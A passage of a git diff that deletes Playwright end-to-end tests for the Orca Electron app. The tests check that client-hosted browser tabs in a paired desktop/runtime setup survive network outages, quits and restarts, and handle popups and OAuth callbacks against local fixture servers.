?? null - } - } - } - return null - }, - { pageUrl: url, worktree: worktreeId } - ) -} - -async function readOwnedPageUrls(app: ElectronApplication, url: string): Promise { - return app.evaluate( - ({ webContents }, prefix) => - webContents - .getAllWebContents() - .map((contents) => contents.getURL()) - .filter((candidate) => candidate.startsWith(prefix)), - url - ) -} - -test('shows a client-hosted page in the host tab strip and closes it from there', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - - const fixture = await startPageFixture() - let client: PairedElectronClient | null = null - try { - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - client = await launchPairedElectronClient(offer, testInfo, 'STA-4150 host strip') - - const clientWorktreeId = await findWorktreeIdByPath(client.page, testRepoPath) - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId: clientWorktreeId } - ) - - await createClientHostedPage(client.page, fixture.url) - await expect - .poll(() => findHostPageId(client!.page, clientWorktreeId, fixture.url), { - timeout: 60_000, - message: 'client never materialized the client-hosted page' - }) - .not.toBeNull() - const mirrored = await findHostPageId(client.page, clientWorktreeId, fixture.url) - expect(mirrored?.placementKind).toBe('client') - const hostPageId = mirrored!.hostPageId - - // The page really is on the client, not the host — otherwise a host row proves nothing new. - expect(await readOwnedPageUrls(client.app, fixture.url)).toHaveLength(1) - expect(await readOwnedPageUrls(electronApp, fixture.url)).toHaveLength(0) - - const hostRow = orcaPage.locator( - `.terminal-tab-strip [data-client-hosted-browser-row-id="${hostPageId}"]` - ) - await expect(hostRow).toBeVisible({ timeout: 60_000 }) - // Titles come from the client's metadata publish; a URL-only row would mean that never landed. - await expect(hostRow).toContainText(PAGE_TITLE, { timeout: 60_000 }) - - await hostRow.getByRole('button', { name: 'Close hosted page' }).click() - - await expect(hostRow).toHaveCount(0, { timeout: 60_000 }) - await expect - .poll(() => readOwnedPageUrls(client!.app, fixture.url), { - timeout: 60_000, - message: 'closing from the host never tore the guest down on the client' - }) - .toHaveLength(0) - await expect - .poll(() => findHostPageId(client!.page, clientWorktreeId, fixture.url), { - timeout: 60_000, - message: 'client kept a tab for a page the host closed' - }) - .toBeNull() - } finally { - await client?.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-network-outage.spec.ts b/tests/e2e/paired-client-hosted-browser-network-outage.spec.ts deleted file mode 100644 index 053d9cc3841..00000000000 --- a/tests/e2e/paired-client-hosted-browser-network-outage.spec.ts +++ /dev/null @@ -1,178 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - findMirroredBrowserPage, - focusClientBrowserRow, - navigateGuest, - readClientBrowserRows, - openClientHostedFixturePage, - readClientWebviewMarker, - selectPairedWorktreeGroup, - startClientHostedMarkerFixture, - waitForPairedWorktreeId, - waitForRenderedClientWebview -} from './helpers/client-hosted-browser-fixture' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' -import { - decodePairingOffer, - encodePairingOffer -} from '../../src/shared/remote-runtime/pairing/pairing' - -// Outlast the 15s lease grace; silent outages first need three missed 15s heartbeats to reap the socket. -const OUTAGE_MS = { reset: 25_000, silent: 100_000 } as const - -async function readPageHostGeneration( - client: PairedElectronClient, - localPageId: string -): Promise { - return client.page.evaluate((pageId) => { - const placement = window.__store?.getState().remoteBrowserPageHandlesByPageId[pageId]?.placement - return placement?.kind === 'client' ? placement.pageHostGeneration : null - }, localPageId) -} - -/** Leaves the browser tab for the terminal and comes back, so the pane remounts its guest. */ -async function remountBrowserTab( - page: Page, - worktreeId: string, - localPageId: string -): Promise { - await page.evaluate((worktreeId) => { - const state = window.__store!.getState() - const terminal = (state.unifiedTabsByWorktree[worktreeId] ?? []).find( - (tab) => tab.contentType === 'terminal' - ) - if (terminal) { - state.activateTab(terminal.id) - } - }, worktreeId) - await page.waitForTimeout(1_000) - await focusClientBrowserRow(page, worktreeId, localPageId) - await page.waitForTimeout(3_000) - return page.getByText('Client-hosted browser unavailable').count() -} - -// Without restarting either app, recover the same desktop’s page after network loss voids its lease. -for (const mode of ['silent', 'reset'] as const) { - test(`the same desktop re-hosts its browser tab after a ${mode} network outage longer than the lease grace`, async ({ - testRepoPath - }, testInfo) => { - test.setTimeout(420_000) - const fixture = await startClientHostedMarkerFixture({ created: 'outage-survivor', moved: 'x' }) - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - let proxy: FreezableTcpProxy | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const decoded = decodePairingOffer(host.offer.pairingUrl) - if (!('endpoint' in decoded)) { - throw new Error('expected a direct pairing offer') - } - const endpoint = new URL(decoded.endpoint) - proxy = await startFreezableTcpProxy(endpoint.hostname, Number(endpoint.port)) - endpoint.port = String(proxy.port) - client = await launchPairedElectronClient( - { pairingUrl: encodePairingOffer({ ...decoded, endpoint: endpoint.toString() }) }, - testInfo, - `client-hosted ${mode} outage` - ) - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - const opened = await openClientHostedFixturePage(client, worktreeId, fixture.markerUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.markerUrl, remotePageId: opened.remotePageId }, - 'client-hosted guest never rendered the fixture' - ) - ).toBe('outage-survivor') - const hostPid = host.app.process().pid - const generationBefore = await readPageHostGeneration(client, opened.localPageId) - expect(generationBefore).not.toBeNull() - - proxy.cut(mode) - await new Promise((resolve) => setTimeout(resolve, OUTAGE_MS[mode])) - proxy.restore() - - // Require a fresh placement generation so a stale guest read cannot masquerade as re-hosting. - try { - await expect - .poll(() => readPageHostGeneration(client!, opened.localPageId), { - timeout: 90_000, - message: 'the same desktop never hosted its page again after the network returned' - }) - .not.toBe(generationBefore) - } catch (error) { - const evidence = { - generationBefore, - generationAfter: await readPageHostGeneration(client, opened.localPageId), - unavailableNotices: await client.page - .getByText('Client-hosted browser unavailable') - .count(), - liveGuestMarker: await readClientWebviewMarker(client.page, { - urlPrefix: fixture.markerUrl, - remotePageId: opened.remotePageId - }), - noticesAfterRemount: await remountBrowserTab(client.page, worktreeId, opened.localPageId), - clientRowsAfter: await readClientBrowserRows(client.page, worktreeId), - markerAfterNavigating: await navigateGuest( - client.page, - fixture.markerUrl, - fixture.movedUrl - ) - .then(() => client!.page.waitForTimeout(10_000)) - .then(() => - readClientWebviewMarker(client!.page, { - urlPrefix: fixture.origin, - remotePageId: opened.remotePageId - }) - ) - .catch((navigationError: unknown) => `navigation failed: ${String(navigationError)}`), - proxyEvents: proxy.events - } - console.log('[outage] evidence', JSON.stringify(evidence)) - testInfo.annotations.push({ - type: 'outage-evidence', - description: JSON.stringify(evidence) - }) - await client.page.screenshot({ path: testInfo.outputPath('after-outage.png') }) - throw error - } - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.markerUrl, remotePageId: opened.remotePageId }, - 'the re-hosted page never rendered' - ) - ).toBe('outage-survivor') - await expect(client.page.getByText('Client-hosted browser unavailable')).toHaveCount(0) - expect( - (await findMirroredBrowserPage(client.page, worktreeId, fixture.markerUrl))?.placementKind - ).toBe('client') - // The re-hosted guest must be a working page, not just a rendered one. - await navigateGuest(client.page, fixture.markerUrl, fixture.movedUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.movedUrl, remotePageId: opened.remotePageId }, - 'the re-hosted page never navigated' - ) - ).toBe('x') - expect(host.app.process().pid, 'the host must not have restarted').toBe(hostPid) - } finally { - if (client) { - await cleanupE2EDaemons(client.userDataDir).catch(() => undefined) - await client.dispose() - } - await proxy?.close() - await host.dispose() - await fixture.close() - } - }) -} diff --git a/tests/e2e/paired-client-hosted-browser-popups.spec.ts b/tests/e2e/paired-client-hosted-browser-popups.spec.ts deleted file mode 100644 index 43d84a80902..00000000000 --- a/tests/e2e/paired-client-hosted-browser-popups.spec.ts +++ /dev/null @@ -1,182 +0,0 @@ -import { createServer, type Server } from 'node:http' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForPairedClientWorktree } from './helpers/paired-client-host-session' -import { readHostBrowserPageUrls } from './helpers/host-session-tabs' - -// A This-device page opens target=_blank links as This-device tabs and keeps OAuth popups attached to their opener. - -const OPENER_HTML = `Opener - -blank link - -` - -const CALLBACK_HTML = `Callback` - -async function startFixture(): Promise<{ server: Server; origin: string }> { - const server = createServer((request, response) => { - const path = new URL(request.url ?? '/', 'http://127.0.0.1').pathname - response.writeHead(200, { 'content-type': 'text/html; charset=utf-8' }) - if (path === '/opener') { - response.end(OPENER_HTML) - } else if (path === '/authorize') { - response.end(``) - } else if (path === '/callback') { - response.end(CALLBACK_HTML) - } else { - response.end('Destination') - } - }) - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const address = server.address() - if (!address || typeof address === 'string') { - throw new Error('fixture server has no port') - } - return { server, origin: `http://127.0.0.1:${address.port}` } -} - -function readPagePlacements(page: Page, worktreeId: string): Promise> { - return page.evaluate((worktreeId) => { - const state = window.__store!.getState() - const placements: Record = {} - for (const workspace of state.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state.browserPagesByWorkspace[workspace.id] ?? []) { - const kind = state.remoteBrowserPageHandlesByPageId[browserPage.id]?.placement?.kind - placements[new URL(browserPage.url).pathname] = kind ?? 'none' - } - } - return placements - }, worktreeId) -} - -async function showPage(page: Page, worktreeId: string, path: string): Promise { - await page.evaluate( - ({ worktreeId, path }) => { - const state = window.__store!.getState() - for (const workspace of state.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state.browserPagesByWorkspace[workspace.id] ?? []) { - if (new URL(browserPage.url).pathname === path) { - state.focusBrowserTabInWorktree(worktreeId, browserPage.id, { surfacePane: true }) - } - } - } - }, - { worktreeId, path } - ) -} - -function guestEval(client: PairedElectronClient, url: string, code: string): Promise { - return client.app.evaluate( - ({ webContents }, { url, code }) => - webContents - .getAllWebContents() - .find((contents) => contents.getType() === 'webview' && contents.getURL() === url) - ?.executeJavaScript(code) ?? null, - { url, code } - ) -} - -// A real mouse click, so main sees the user's gesture as it would on a desktop. -async function clickInGuest( - client: PairedElectronClient, - url: string, - selector: string -): Promise { - await expect - .poll(() => guestEval(client, url, 'innerWidth > 320 && innerHeight > 200'), { - timeout: 30_000 - }) - .toBe(true) - await client.app.evaluate( - async ({ webContents }, { url, selector }) => { - const guest = webContents - .getAllWebContents() - .find((contents) => contents.getType() === 'webview' && contents.getURL() === url)! - const { x, y }: { x: number; y: number } = await guest.executeJavaScript( - `(() => { const r = document.querySelector(${JSON.stringify(selector)}).getBoundingClientRect(); return { x: Math.round(r.x + r.width / 2), y: Math.round(r.y + r.height / 2) } })()` - ) - guest.sendInputEvent({ type: 'mouseDown', x, y, button: 'left', clickCount: 1 }) - guest.sendInputEvent({ type: 'mouseUp', x, y, button: 'left', clickCount: 1 }) - }, - { url, selector } - ) -} - -test('a This-device page opens new tabs on this device and keeps OAuth popups working', async ({ - testRepoPath -}, testInfo) => { - // Boots a headless host and a paired client, then waits on two tab creations and a popup round trip. - test.setTimeout(300_000) - const { server, origin } = await startFixture() - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, 'This-device popups') - const page = client.page - const worktreeId = await waitForPairedClientWorktree(page) - await page.evaluate( - ({ environmentId, worktreeId }) => - window.__store!.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`), - { environmentId: client.environmentId, worktreeId } - ) - const openerUrl = `${origin}/opener` - await page.evaluate(async (url) => { - const state = window.__store!.getState() - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace( - state.activeGroupIdByWorktree[state.activeWorktreeId!]! - ) - }, openerUrl) - await expect - .poll(() => readPagePlacements(page, worktreeId), { timeout: 60_000 }) - .toEqual({ '/opener': 'client' }) - await expect - .poll(() => guestEval(client!, openerUrl, 'document.readyState'), { timeout: 60_000 }) - .toBe('complete') - - await showPage(page, worktreeId, '/opener') - await clickInGuest(client, openerUrl, '#blank') - await expect - .poll(() => readPagePlacements(page, worktreeId), { - timeout: 30_000, - message: 'the target=_blank link did not open a This-device tab' - }) - .toEqual({ '/opener': 'client', '/destination': 'client' }) - await expect - .poll(() => readHostBrowserPageUrls(host.client, `path:${testRepoPath}`), { timeout: 30_000 }) - .toContain(`${origin}/destination`) - - await showPage(page, worktreeId, '/opener') - await clickInGuest(client, openerUrl, '#oauth') - await expect - .poll(() => guestEval(client!, openerUrl, 'window.__oauthMessages.join()'), { - timeout: 30_000, - message: 'the OAuth popup never reached its opener' - }) - .toBe('code=abc') - await expect - .poll(() => guestEval(client!, openerUrl, 'window.__oauthPopup.closed'), { timeout: 10_000 }) - .toBe(true) - } finally { - await client?.dispose() - await host.dispose() - server.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts b/tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts deleted file mode 100644 index aa86765f28d..00000000000 --- a/tests/e2e/paired-client-hosted-browser-quit-survival.spec.ts +++ /dev/null @@ -1,512 +0,0 @@ -import { createServer } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { readHostBrowserPageIds, readHostBrowserPageUrl } from './helpers/host-session-tabs' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -const CLIENT_NAME = 'STA-4150 client-hosted quit survival' -/** Longer than the runtime's 15s reconnect grace, so the relaunch is a cold one. */ -const RECONNECT_GRACE_OVERSHOOT_MS = 25_000 - -type MarkerFixture = { - close(): Promise - markerUrl: string - /** A second page the guest can reach on its own, to tell "restored" from "restored where". */ - movedUrl: string - origin: string -} - -/** Serves identifiable pages, so a rendered marker proves the guest really navigated. */ -async function startMarkerFixture(): Promise { - const server = createServer((request, response) => { - const marker = request.url === '/moved' ? 'moved-on' : 'quit-survivor' - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8' - }) - response.end( - `${marker}` + - `

${marker}

` - ) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const origin = `http://127.0.0.1:${(server.address() as AddressInfo).port}` - return { - close: () => - new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }), - markerUrl: `${origin}/survivor`, - movedUrl: `${origin}/moved`, - origin - } -} - -/** Navigates the guest itself, the way following a link does — no client-side URL entry involved. */ -async function navigateGuest(page: Page, fromUrl: string, toUrl: string): Promise { - const navigated = await page.evaluate( - async ({ fromUrl, toUrl }) => { - for (const candidate of document.querySelectorAll('webview')) { - const webview = candidate as Electron.WebviewTag - try { - if (!webview.getURL().startsWith(fromUrl)) { - continue - } - await webview.loadURL(toUrl) - return true - } catch { - // The guest may still be attaching. - } - } - return false - }, - { fromUrl, toUrl } - ) - if (!navigated) { - throw new Error(`No client-hosted guest was showing ${fromUrl} to navigate`) - } -} - -type MirroredBrowserPage = { - localPageId: string - placementKind: 'client' | 'server' | null - remotePageId: string - url: string -} - -async function findPairedWorktreeId(page: Page, repoPath: string): Promise { - return page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ) -} - -async function waitForPairedWorktreeId(page: Page, repoPath: string): Promise { - await expect - .poll(() => findPairedWorktreeId(page, repoPath), { - timeout: 120_000, - message: 'paired client never received the host worktree' - }) - .not.toBeNull() - const worktreeId = await findPairedWorktreeId(page, repoPath) - if (!worktreeId) { - throw new Error('Paired worktree disappeared after discovery') - } - return worktreeId -} - -async function selectPairedWorktreeGroup( - page: Page, - environmentId: string, - worktreeId: string -): Promise { - await expect - .poll( - () => - page.evaluate( - ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - return state?.activeGroupIdByWorktree[worktreeId] ?? null - }, - { environmentId, worktreeId } - ), - { - timeout: 120_000, - message: 'paired client never activated a tab group for the worktree' - } - ) - .not.toBeNull() -} - -async function findMirroredBrowserPage( - page: Page, - worktreeId: string, - url: string -): Promise { - return page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (!browserPage.url.startsWith(url)) { - continue - } - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - localPageId: browserPage.id, - placementKind: handle?.placement?.kind ?? null, - remotePageId: handle?.remotePageId ?? browserPage.id, - url: browserPage.url - } - } - } - return null - }, - { url, worktreeId } - ) -} - -/** Every browser row the client holds for a worktree, for diagnosing duplicates and culls. */ -async function readClientBrowserRows( - page: Page, - worktreeId: string -): Promise<{ pageId: string; placementKind: string | null; url: string; workspaceId: string }[]> { - return page.evaluate((worktreeId) => { - const state = window.__store?.getState() - const rows: { - pageId: string - placementKind: string | null - url: string - workspaceId: string - }[] = [] - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - rows.push({ - pageId: browserPage.id, - placementKind: - state?.remoteBrowserPageHandlesByPageId[browserPage.id]?.placement?.kind ?? null, - url: browserPage.url, - workspaceId: workspace.id - }) - } - } - return rows - }, worktreeId) -} - -// Read the rendered pane to distinguish attached guest, unavailable notice and endless spinner; store state alone cannot. -async function readClientHostedPaneResolution( - page: Page -): Promise<'guest' | 'unavailable' | 'waiting'> { - return page.evaluate(() => { - if (document.querySelector('webview')) { - return 'guest' - } - const heading = [...document.querySelectorAll('div')].some( - (node) => node.textContent === 'Client-hosted browser unavailable' - ) - return heading ? 'unavailable' : 'waiting' - }) -} - -async function createProductBrowserPage(page: Page, url: string): Promise { - await page.evaluate(async (url) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Paired client has no active worktree') - } - const groupId = state.activeGroupIdByWorktree[state.activeWorktreeId] - if (!groupId) { - throw new Error('Paired client has no active tab group') - } - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, url) -} - -async function openClientHostedFixturePage( - client: PairedElectronClient, - worktreeId: string, - url: string -): Promise { - await createProductBrowserPage(client.page, url) - await expect - .poll(() => findMirroredBrowserPage(client.page, worktreeId, url), { - timeout: 60_000, - message: `paired client never materialized ${url}` - }) - .not.toBeNull() - const mirrored = await findMirroredBrowserPage(client.page, worktreeId, url) - if (!mirrored) { - throw new Error(`Mirrored browser page disappeared for ${url}`) - } - expect(mirrored.placementKind, 'fixture page must be hosted on the viewing desktop').toBe( - 'client' - ) - await client.page.evaluate( - ({ browserPageId, worktreeId }) => { - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, browserPageId, { - surfacePane: true - }) - }, - { browserPageId: mirrored.localPageId, worktreeId } - ) - return mirrored -} - -async function readClientWebviewMarker(page: Page, url: string): Promise { - return page.evaluate(async (prefix) => { - for (const candidate of document.querySelectorAll('webview')) { - const webview = candidate as Electron.WebviewTag - try { - if (!webview.getURL().startsWith(prefix)) { - continue - } - return (await webview.executeJavaScript( - 'document.querySelector("#marker")?.textContent ?? null' - )) as string | null - } catch { - // The guest may still be attaching. - } - } - return null - }, url) -} - -async function waitForRenderedClientWebview( - page: Page, - url: string, - message: string -): Promise { - await expect - .poll(() => readClientWebviewMarker(page, url), { timeout: 120_000, message }) - .not.toBeNull() - const marker = await readClientWebviewMarker(page, url) - if (!marker) { - throw new Error(`Client-hosted guest for ${url} lost its marker`) - } - return marker -} - -test('keeps a client-hosted browser tab across a client quit and relaunch', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(420_000) - const fixture = await startMarkerFixture() - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - let abandonedProfile: string | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME) - const profileDir = client.userDataDir - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - - const opened = await openClientHostedFixturePage(client, worktreeId, fixture.markerUrl) - expect( - await waitForRenderedClientWebview( - client.page, - fixture.markerUrl, - 'client-hosted guest never rendered the fixture before the quit' - ) - ).toBe('quit-survivor') - - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the runtime must hold the client-hosted page before the quit' - ).toContain(opened.remotePageId) - - // Move away from create URL so replaying the initial destination cannot pass as restore. - await navigateGuest(client.page, fixture.markerUrl, fixture.movedUrl) - expect( - await waitForRenderedClientWebview( - client.page, - fixture.movedUrl, - 'the guest never rendered the page it navigated to' - ) - ).toBe('moved-on') - - await expect - .poll(() => readHostBrowserPageUrl(host.client, testRepoPath, opened.remotePageId), { - timeout: 60_000, - message: 'the runtime never learned where the guest navigated' - }) - .toBe(fixture.movedUrl) - - // Quit without disposing: the profile has to outlive the app, as it does for a real Cmd+Q. - const quitting = client.app - client = null - abandonedProfile = profileDir - await closeElectronAppForE2E(quitting) - - // Past the reconnect grace the runtime has decided the host is gone for good. - await new Promise((resolve) => setTimeout(resolve, RECONNECT_GRACE_OVERSHOOT_MS)) - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the runtime must retain a client-hosted page whose host quit' - ).toContain(opened.remotePageId) - - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME, { - reuseUserDataDir: profileDir - }) - abandonedProfile = null - const relaunchedWorktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, relaunchedWorktreeId) - - await expect - .poll(() => findMirroredBrowserPage(client!.page, relaunchedWorktreeId, fixture.movedUrl), { - timeout: 120_000, - message: 'the relaunched client never restored the client-hosted tab where the guest was' - }) - .not.toBeNull() - - // Count the entire origin to catch create-URL duplicates beside the restored page. - const rows = await readClientBrowserRows(client.page, relaunchedWorktreeId) - const survivorRows = rows.filter((row) => row.url.startsWith(fixture.origin)) - expect(survivorRows, 'the restored tab must come back exactly once').toHaveLength(1) - - await expect - .poll( - async () => - (await findMirroredBrowserPage(client!.page, relaunchedWorktreeId, fixture.movedUrl)) - ?.placementKind ?? null, - { - timeout: 120_000, - message: 'the restored tab never became client-hosted again' - } - ) - .toBe('client') - - const restored = await findMirroredBrowserPage( - client.page, - relaunchedWorktreeId, - fixture.movedUrl - ) - expect(restored?.remotePageId, 'recovery must keep the page identity it was created with').toBe( - opened.remotePageId - ) - - await client.page.evaluate( - ({ browserPageId, worktreeId }) => { - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, browserPageId, { - surfacePane: true - }) - }, - { browserPageId: restored!.localPageId, worktreeId: relaunchedWorktreeId } - ) - expect( - await waitForRenderedClientWebview( - client.page, - fixture.movedUrl, - 'the restored client-hosted tab never rendered its page again' - ), - 'a restored tab has to come back functional and where the user left it' - ).toBe('moved-on') - } finally { - await client?.dispose() - if (abandonedProfile) { - await cleanupE2EDaemons(abandonedProfile).catch(() => undefined) - } - await host.dispose() - await fixture.close() - } -}) - -// Retained pages must remain dismissible even while their desktop is absent. -test('closes a retained client-hosted tab while its host is gone', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(420_000) - const fixture = await startMarkerFixture() - const host = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - let abandonedProfile: string | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME) - const profileDir = client.userDataDir - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - const opened = await openClientHostedFixturePage(client, worktreeId, fixture.markerUrl) - await waitForRenderedClientWebview( - client.page, - fixture.markerUrl, - 'client-hosted guest never rendered the fixture before the quit' - ) - - const quitting = client.app - client = null - abandonedProfile = profileDir - await closeElectronAppForE2E(quitting) - await new Promise((resolve) => setTimeout(resolve, RECONNECT_GRACE_OVERSHOOT_MS)) - expect(await readHostBrowserPageIds(host.client, testRepoPath)).toContain(opened.remotePageId) - - await expect( - host.client.call('browser.tabClose', { - worktree: `path:${testRepoPath}`, - page: opened.remotePageId - }), - 'a retained tab must close without its absent host answering' - ).resolves.toMatchObject({ result: { closed: true } }) - - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the closed tab must leave the runtime for good' - ).not.toContain(opened.remotePageId) - - // After host-side close, require the returning desktop to resolve and dismiss its own stale session row. - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME, { - reuseUserDataDir: profileDir - }) - abandonedProfile = null - const relaunchedWorktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, relaunchedWorktreeId) - - // Presence before absence: without this, every check below passes on a row that never restored. - await expect - .poll(() => findMirroredBrowserPage(client!.page, relaunchedWorktreeId, fixture.markerUrl), { - timeout: 120_000, - message: 'the relaunched client never restored the row its own session persisted' - }) - .not.toBeNull() - const orphaned = await findMirroredBrowserPage( - client.page, - relaunchedWorktreeId, - fixture.markerUrl - ) - await client.page.evaluate( - ({ browserPageId, worktreeId }) => { - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, browserPageId, { - surfacePane: true - }) - }, - { browserPageId: orphaned!.localPageId, worktreeId: relaunchedWorktreeId } - ) - - await expect - .poll(() => readClientHostedPaneResolution(client!.page), { - timeout: 180_000, - message: 'the restored row never stopped waiting for a host that cannot answer' - }) - .toBe('unavailable') - - await client.page.evaluate((browserPageId) => { - window.__store?.getState().closeBrowserPage(browserPageId) - }, orphaned!.localPageId) - await expect - .poll( - async () => - (await readClientBrowserRows(client!.page, relaunchedWorktreeId)).filter((row) => - row.url.startsWith(fixture.origin) - ).length, - { timeout: 60_000, message: 'the orphaned row never left the client tab strip' } - ) - .toBe(0) - } finally { - await client?.dispose() - if (abandonedProfile) { - await cleanupE2EDaemons(abandonedProfile).catch(() => undefined) - } - await host.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-restart-survival.spec.ts b/tests/e2e/paired-client-hosted-browser-restart-survival.spec.ts deleted file mode 100644 index 1ff3573f264..00000000000 --- a/tests/e2e/paired-client-hosted-browser-restart-survival.spec.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { readHostBrowserPageIds, readHostBrowserPageUrl } from './helpers/host-session-tabs' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - findMirroredBrowserPage, - focusClientBrowserRow, - navigateGuest, - openClientHostedFixturePage, - readClientBrowserRows, - selectPairedWorktreeGroup, - startClientHostedMarkerFixture, - waitForPairedWorktreeId, - waitForRenderedClientWebview -} from './helpers/client-hosted-browser-fixture' -import { - refreshAuthorityRuntimeId, - waitForRelaunchedRuntime -} from './helpers/client-hosted-runtime-relaunch' - -const CLIENT_NAME = 'STA-4150 client-hosted restart survival' - -// Replace the real serve process while its desktop client retains the guest; quit-survival.spec.ts covers the inverse. -// Authority mismatch must wait for the successor; rebuild host inventory, adopt a fresh generation exactly once, and retain the moved URL. -test('keeps a client-hosted browser tab across a paired runtime restart', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(420_000) - const fixture = await startClientHostedMarkerFixture({ - created: 'restart-survivor', - moved: 'moved-on' - }) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME) - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - - const opened = await openClientHostedFixturePage(client, worktreeId, fixture.markerUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.markerUrl, remotePageId: opened.remotePageId }, - 'client-hosted guest never rendered the fixture' - ) - ).toBe('restart-survivor') - - // Require a host-held page before restart to prevent an empty recovery pass. - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the runtime must hold the client-hosted page before the restart' - ).toContain(opened.remotePageId) - - // Move off the create URL so recovery cannot pass by replaying it. - await navigateGuest(client.page, fixture.markerUrl, fixture.movedUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.movedUrl, remotePageId: opened.remotePageId }, - 'the guest never rendered the page it navigated to' - ) - ).toBe('moved-on') - await expect - .poll(() => readHostBrowserPageUrl(host.client, testRepoPath, 